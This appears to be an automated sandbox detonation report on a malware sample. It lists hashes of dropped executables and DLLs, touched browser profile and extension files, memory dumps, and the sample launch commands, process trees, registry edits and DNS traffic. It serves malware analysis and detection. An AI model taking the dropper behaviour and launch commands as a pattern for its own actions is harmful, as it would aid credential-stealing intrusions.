C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 8130417bddcc050713e0dabe12915ca9
SHA1 f5892bb879d035944d7db450f5278c038897e6d7
SHA256 12471f31bfbae38f05d5179bc4b59efd63ab5fd50fad3a6b834309afa5476074
SHA512 8b4345299564f9c961b0c631b6f73237a3bbd19417d3fd3e25598b49284bf37be1206b57f71a314a3182d9603672e5d48b6411272e196300c0e67784fc490209

memory/6116-520-0x0000000000400000-0x000000000046E000-memory.dmp

memory/1328-522-0x0000000006C00000-0x0000000006C66000-memory.dmp

memory/5088-495-0x0000000004FF0000-0x0000000005182000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 1ac52e2503cc26baee4322f02f5b8d9c
SHA1 38e0cee911f5f2a24888a64780ffdf6fa72207c8
SHA256 f65058c6f1a745b37a64d4c97a8e8ee940210273130cec97a67f568088b5d4d4
SHA512 7670d606bc5197ecb7db3ddaecd6f74a80e6decae92b94e0e8145a7f463fa099058e89f9dfa1c45b9197c36e5e21994698186a2ec970bbdb0937fe28ca46a834

memory/3996-307-0x0000000001060000-0x0000000001061000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nswFC43.tmp\INetC.dll

MD5 40d7eca32b2f4d29db98715dd45bfac5
SHA1 124df3f617f562e46095776454e1c0c7bb791cc7
SHA256 85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
SHA512 5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

C:\Users\Admin\Documents\SimpleAdobe\6IC7dyUGxyYC6aDNKgDSHQmp.exe

MD5 213c0265511727869c959abd24ea3677
SHA1 22ea6fe23eeb57d0048d1b0e2a826dd66c6969d9
SHA256 3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7
SHA512 bfa4d229ade2e47d91f3fb761e68f727aab86980a2697cb06955324e9b61b384569a285edfaa1d1dd7aea95e24d171a770a4f573a19ec795325c68250720f41e

memory/436-262-0x0000026DF59A0000-0x0000026DF59B2000-memory.dmp

memory/436-261-0x0000026DF5970000-0x0000026DF597A000-memory.dmp

memory/3384-260-0x0000000000650000-0x00000000011A6000-memory.dmp

memory/2084-258-0x0000000000400000-0x0000000000414000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

memory/436-230-0x0000026DF3D00000-0x0000026DF3D14000-memory.dmp

C:\Users\Admin\Documents\SimpleAdobe\51HqerGWInGgiQEgyHhi5Ewi.exe

MD5 5e30b43379e6564f81b91a1174b2918e
SHA1 2787db70156a376b19fb42edfc855ada96803efc
SHA256 c191d4c80d6b6ec2d6ae514741b8e4a42a9c060319e738c5f495f0b42df91a52
SHA512 641d6bb7f70868bac88bfddd1b73bf3fa8fee2207828bb35437ec20636df588077034ccfec178650ccd1379b0ab28b8ead8f0d8ca42f73497c6de71c2b60584a

memory/1328-530-0x0000000007D10000-0x0000000007ED2000-memory.dmp

memory/1328-531-0x0000000008410000-0x000000000893C000-memory.dmp

memory/6840-534-0x0000000002D50000-0x0000000002D86000-memory.dmp

memory/6840-535-0x0000000005620000-0x0000000005C48000-memory.dmp

memory/2648-537-0x00007FF609670000-0x00007FF609C40000-memory.dmp

memory/3384-540-0x0000000000650000-0x00000000011A6000-memory.dmp

memory/1588-541-0x0000000000400000-0x00000000004BE000-memory.dmp

memory/4400-542-0x0000000000400000-0x0000000000537000-memory.dmp

memory/2084-539-0x0000000000400000-0x0000000000414000-memory.dmp

memory/4660-543-0x0000000000400000-0x0000000000602000-memory.dmp

memory/3384-548-0x0000000000650000-0x00000000011A6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ygvroges.gon.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/6840-562-0x0000000005E30000-0x0000000006184000-memory.dmp

memory/6840-560-0x0000000005D50000-0x0000000005DB6000-memory.dmp

memory/6840-559-0x0000000005580000-0x00000000055A2000-memory.dmp

memory/1172-563-0x0000000010000000-0x00000000105E3000-memory.dmp

memory/4524-538-0x0000000000400000-0x0000000000574000-memory.dmp

memory/6228-567-0x0000000000F00000-0x0000000000F58000-memory.dmp

memory/2648-568-0x00007FF609670000-0x00007FF609C40000-memory.dmp

memory/6228-566-0x0000000000F00000-0x0000000000F58000-memory.dmp

memory/6840-569-0x0000000006310000-0x000000000632E000-memory.dmp

memory/6840-607-0x0000000007920000-0x0000000007F9A000-memory.dmp

memory/6840-608-0x0000000006800000-0x000000000681A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp79F3.tmp

MD5 d4993802b9cf3203200f899233c3e2fc
SHA1 a632e8d796c8a0d1cf8cda55aa882b1a82b7318f
SHA256 cff606c51ac13f4352de08f7838939c1e261bdc232a10bb94f6924d00cbd0dd6
SHA512 1910cf846fe61ef744dc6bcf9062caaf6ab1856a64bd8aa6849cbddcdc8fa921f0cef16d0d9cc38842345f5873724b27764307076bd50bd46bb74f643cde03bd

C:\Users\Admin\AppData\Local\Temp\tmp79C1.tmp

MD5 8f5942354d3809f865f9767eddf51314
SHA1 20be11c0d42fc0cef53931ea9152b55082d1a11e
SHA256 776ecf8411b1b0167bea724409ac9d3f8479973df223ecc6e60e3302b3b2b8ea
SHA512 fde8dfae8a862cf106b0cb55e02d73e4e4c0527c744c20886681245c8160287f722612a6de9d0046ed1156b1771229c8950b9ac036b39c988d75aa20b7bac218

C:\Users\Admin\AppData\Local\Temp\tmp7AD7.tmp

MD5 49693267e0adbcd119f9f5e02adf3a80
SHA1 3ba3d7f89b8ad195ca82c92737e960e1f2b349df
SHA256 d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f
SHA512 b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

memory/6876-674-0x0000000000250000-0x00000000008BA000-memory.dmp

C:\ProgramData\mozglue.dll

MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

memory/3984-804-0x0000000006A20000-0x0000000006A42000-memory.dmp

memory/3984-803-0x0000000007600000-0x0000000007696000-memory.dmp

memory/1328-820-0x0000000005710000-0x0000000005760000-memory.dmp

C:\ProgramData\Are.docx

MD5 a33e5b189842c5867f46566bdbf7a095
SHA1 e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512 f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

memory/5584-870-0x0000000007560000-0x00000000075A4000-memory.dmp

memory/5584-871-0x0000000007BE0000-0x0000000007C12000-memory.dmp

memory/5584-873-0x000000006C620000-0x000000006C66C000-memory.dmp

memory/5584-874-0x000000006B2E0000-0x000000006B634000-memory.dmp

memory/5584-884-0x0000000007C20000-0x0000000007C3E000-memory.dmp

memory/5584-885-0x0000000007C40000-0x0000000007CE3000-memory.dmp

memory/5584-886-0x0000000007D30000-0x0000000007D3A000-memory.dmp

memory/5584-896-0x0000000007D50000-0x0000000007D61000-memory.dmp

memory/5584-897-0x0000000007D90000-0x0000000007D9E000-memory.dmp

memory/5584-898-0x0000000007DA0000-0x0000000007DB4000-memory.dmp

memory/5584-899-0x0000000007E90000-0x0000000007EAA000-memory.dmp

memory/5584-900-0x0000000007DD0000-0x0000000007DD8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\u33c.0.exe

MD5 8d1595054640e63c3ccc451b1454af73
SHA1 d3e67396b4afd81aeb7bf463e5c9dc654169fd7e
SHA256 b006c572d41bca024db5423a3ed281068ac751704ecfb558ec7866341559b628
SHA512 35d5b8ba33f1526148cf6c3e03b7e9c26738d596522ac923dd747a74eaeace0ef872b3ee69689ad110d5ffb4018489c000819e7862e72f6738369c745ccd3b76

C:\Users\Admin\AppData\Local\Temp\u33c.1.exe

MD5 397926927bca55be4a77839b1c44de6e
SHA1 e10f3434ef3021c399dbba047832f02b3c898dbd
SHA256 4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
SHA512 cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

memory/5800-938-0x000001E96C990000-0x000001E96C9B2000-memory.dmp

memory/3384-956-0x0000000000650000-0x00000000011A6000-memory.dmp

memory/1172-957-0x0000000000250000-0x00000000008BA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

MD5 6d7b4b0ec5b7dad9a4fa0504e675aef0
SHA1 f5a6ecc5f328139e9750b497c0cb50e00ab32a6c
SHA256 ffd0d119bd5b214c99a76e54693d6db57dc448663ee52095e42ecc058600b1d1
SHA512 b795013110cb1fed32793089216998b4968dd30f39c8583496b10f12da06a1dcacae4ee2ba2e118e2ba6b3521cc7cc9e4000e1bf8488a181af9088dae6c21566

C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

MD5 39f1196965bd79d40d38a878b4eb2dae
SHA1 6f0d3cc8d304cebc9a2b20846a02cc5e350b7839
SHA256 1e0685a603f8410f367890ba88905e1c0a03e1502ee08b94490ad7bd882df289
SHA512 59a8ef6f8bae72f60687cf593af2affb56fc00f9b8d86d68fe150544e10b3d2d1975c10e768feb14cacd3a28278ec57c9b2bc424384496130284facc36fc2bee

memory/6512-998-0x000001C440790000-0x000001C443FC4000-memory.dmp

memory/6512-1001-0x000001C45F0E0000-0x000001C45F1EA000-memory.dmp

memory/6512-1004-0x000001C45E5F0000-0x000001C45E604000-memory.dmp

memory/6512-1005-0x000001C45E660000-0x000001C45E684000-memory.dmp

memory/6512-1003-0x000001C45E600000-0x000001C45E60C000-memory.dmp

memory/6512-1002-0x000001C444450000-0x000001C444460000-memory.dmp

memory/4660-1006-0x0000000000400000-0x0000000000602000-memory.dmp

memory/6876-1008-0x0000000000250000-0x00000000008BA000-memory.dmp

memory/4896-1007-0x0000000000C90000-0x00000000012FA000-memory.dmp

memory/6512-1009-0x000001C45E690000-0x000001C45E69A000-memory.dmp

memory/6512-1010-0x000001C45F330000-0x000001C45F3E2000-memory.dmp

memory/6512-1012-0x000001C45F3E0000-0x000001C45F40A000-memory.dmp

memory/6512-1011-0x000001C45F430000-0x000001C45F480000-memory.dmp

memory/6512-1013-0x000001C45E6A0000-0x000001C45E6AA000-memory.dmp

memory/6512-1017-0x000001C45F4E0000-0x000001C45F7E0000-memory.dmp

memory/6512-1019-0x000001C463EE0000-0x000001C463EE8000-memory.dmp

memory/6512-1025-0x000001C464710000-0x000001C464732000-memory.dmp

memory/6512-1024-0x000001C4649B0000-0x000001C464A12000-memory.dmp

memory/6512-1023-0x000001C464990000-0x000001C46499A000-memory.dmp

memory/6512-1022-0x000001C463410000-0x000001C463418000-memory.dmp

memory/6512-1021-0x000001C4633F0000-0x000001C4633FE000-memory.dmp

memory/6512-1020-0x000001C463420000-0x000001C463458000-memory.dmp

memory/6512-1026-0x000001C464F40000-0x000001C465468000-memory.dmp

memory/3152-1032-0x0000000004AE0000-0x0000000004E34000-memory.dmp

memory/6512-1039-0x000001C464730000-0x000001C46473C000-memory.dmp

memory/1136-1055-0x0000000005990000-0x0000000005CE4000-memory.dmp

memory/1136-1101-0x000000006B280000-0x000000006B5D4000-memory.dmp

memory/1136-1100-0x000000006C620000-0x000000006C66C000-memory.dmp

memory/1136-1111-0x0000000007060000-0x0000000007103000-memory.dmp

C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi

MD5 3331b3dfaf01b5371ac4db5af05a39b8
SHA1 badeb66f66d975d7b446b33a0e66c6b923933080
SHA256 c06fa75a31321f8803802e2e0a09755c215027e150a85259c4d436b748f5c7dc
SHA512 403c57bbae2924b3c1fe26399a6f473a1702ec12d149c214aa3847108d06e51547c959a5a7a3192f9c20cafa740307239a0ff592dc2b88dc5c4ecef80df35954

C:\ProgramData\ECGHCBGC

MD5 f70aa3fa04f0536280f872ad17973c3d
SHA1 50a7b889329a92de1b272d0ecf5fce87395d3123
SHA256 8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA512 30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

memory/1136-1157-0x0000000007380000-0x0000000007391000-memory.dmp

C:\ProgramData\nss3.dll

MD5 1cc453cdf74f31e4d913ff9c10acdde2
SHA1 6e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512 dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json

MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

C:\ProgramData\ResolvePush.xlsx

MD5 874c9a7097695b51f8dca83eb09e3fdc
SHA1 9e3d827970443680ffc2269c863309f7d5b56f25
SHA256 eefc76781b28ea5ae4cb875bd319b8fba2dc75b6208f21f6eceb9373c09a26c0
SHA512 449eb4cf3bd3c7782b652c2d37c5e3157ad9c210f693d393034ecbe4477c4a9bca9fedcb96528df8b5e005b6ad8c46d50a0630f105928ee0ec6161f946840292

memory/4680-1284-0x0000000005AF0000-0x0000000005E44000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json

MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json

MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

memory/4680-1359-0x000000006C620000-0x000000006C66C000-memory.dmp

memory/4680-1360-0x000000006B200000-0x000000006B554000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\abgdohlnibdejcajjfmngebmdanjldcc\1.2_0\_locales\es\messages.json

MD5 bd6b60b18aee6aaeb83b35c68fb48d88
SHA1 9b977a5fbf606d1104894e025e51ac28b56137c3
SHA256 b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
SHA512 3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\47kntzet.default-release\prefs.js

MD5 79940a3ddbe3a1b567464004aad30307
SHA1 e15c1a852d9e003a2a80a76a7bc9a144554b990c
SHA256 ea1b4178b61a56116db38c385b3033200eebcee7b37aaec2a2ad48742c841f04
SHA512 3d4865bd340407b522ad7a420dae0483a1642411f49e4e1e141112009ceea4783eacbf7e3c85ae9ec4bae7e634154b4f6a3209750bdf4957d401d529d4266325

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

MD5 c195a7e09bca6e9c7277fe682bed5b90
SHA1 6df0e372481a469deb67870ea4f37d02c20307dd
SHA256 fc53e7bf1935d6a7a9828704a3fd1e12c4fd0d105ccae302d2ad388e66de8746
SHA512 0479f97ae5bba52ceb4e693c148f1baaf9b5ebffd20450a014895ec109a167e64249caa580c492ff9bbf8df3b8b590a4c81d46f4aebd720d6c3fd4777902a661

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 f995b37ace4e02bb657db760d1ece236
SHA1 90f0ad576f232bfe8fd20983ad213a105bb05216
SHA256 fbe424fe0d4833965b84456f831e51cdd1251f70c6b99362b3325cbe730596dd
SHA512 39934f5160335a7a03d77b480db96fd3ba1a7f2b634678a5c2aaaefd7112bfd26659fafcdd8132b91fa9b4c871dde1951ba08789456e4f5c8ff62704ef56049f

C:\ProgramData\ClearResize.txt

MD5 65cd0dc55fd3794f335323368488d8de
SHA1 18f4657f944e3134bb07536c8793843e6e3f87cc
SHA256 562c980db59e71dc5e739a2f925670b2b07b1ec9d257122e98004b1dbe64e13a
SHA512 6b425035102484a00e82ca51c45d8f079057b34e0d8a07b07f71dffc5f061156ae345dc91f136c0b087f84fc39e48e572a3d9c64f18818966f2b49bb5bc179c7

Analysis: behavioral6

Detonation Overview

Submitted

2024-05-10 13:29

Reported

2024-05-10 13:33

Platform

win10v2004-20240508-en

Max time kernel

91s

Max time network

152s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\res_mods\1.23.0.0\scripts\client\gui\mods\mod_a.pyc

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\res_mods\1.23.0.0\scripts\client\gui\mods\mod_a.pyc

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
BE 88.221.83.187:443 www.bing.com tcp
US 8.8.8.8:53 187.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 31.121.18.2.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-05-10 13:29

Reported

2024-05-10 13:33

Platform

win7-20240508-en

Max time kernel

120s

Max time network

123s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\msvcp140.dll,#1

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1932 wrote to memory of 2068 N/A C:\Windows\system32\rundll32.exe C:\Windows\system32\WerFault.exe
PID 1932 wrote to memory of 2068 N/A C:\Windows\system32\rundll32.exe C:\Windows\system32\WerFault.exe
PID 1932 wrote to memory of 2068 N/A C:\Windows\system32\rundll32.exe C:\Windows\system32\WerFault.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\msvcp140.dll,#1

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 1932 -s 80

Network

N/A

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-05-10 13:29

Reported

2024-05-10 13:33

Platform

win10v2004-20240508-en

Max time kernel

91s

Max time network

152s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\msvcp140.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\msvcp140.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
BE 88.221.83.178:443 www.bing.com tcp
US 8.8.8.8:53 178.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 100.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral5

Detonation Overview

Submitted

2024-05-10 13:29

Reported

2024-05-10 13:33

Platform

win7-20240221-en

Max time kernel

122s

Max time network

134s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\res_mods\1.23.0.0\scripts\client\gui\mods\mod_a.pyc

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\pyc_auto_file\shell\Read\command\ = "\"C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\AcroRd32.exe\" \"%1\"" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\pyc_auto_file\shell C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\pyc_auto_file\shell\Read\command C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\pyc_auto_file\ C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\.pyc C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\.pyc\ = "pyc_auto_file" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\pyc_auto_file\shell\Read C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_Classes\Local Settings C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\pyc_auto_file C:\Windows\system32\rundll32.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\res_mods\1.23.0.0\scripts\client\gui\mods\mod_a.pyc

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\res_mods\1.23.0.0\scripts\client\gui\mods\mod_a.pyc

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\res_mods\1.23.0.0\scripts\client\gui\mods\mod_a.pyc"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5 cf179748c4ac2da6ecfab7f0e8890ee6
SHA1 2e30ff31e287e78f8b0d4a59fe0d31197406d4a7
SHA256 80f45ed5a9d13d354d46895f1b4de8404a9ef57a6a91d9f2729a7fe4acc7ff0d
SHA512 25972c25b5e95530038d6d136c1eb3b5aa01b386aa19fa3ee2ff748b2989e3e2d5d7f3cbc1b3b0aba17a1b9cc4b37b68ffa4a28af732bd5513a7c8591f9d4d32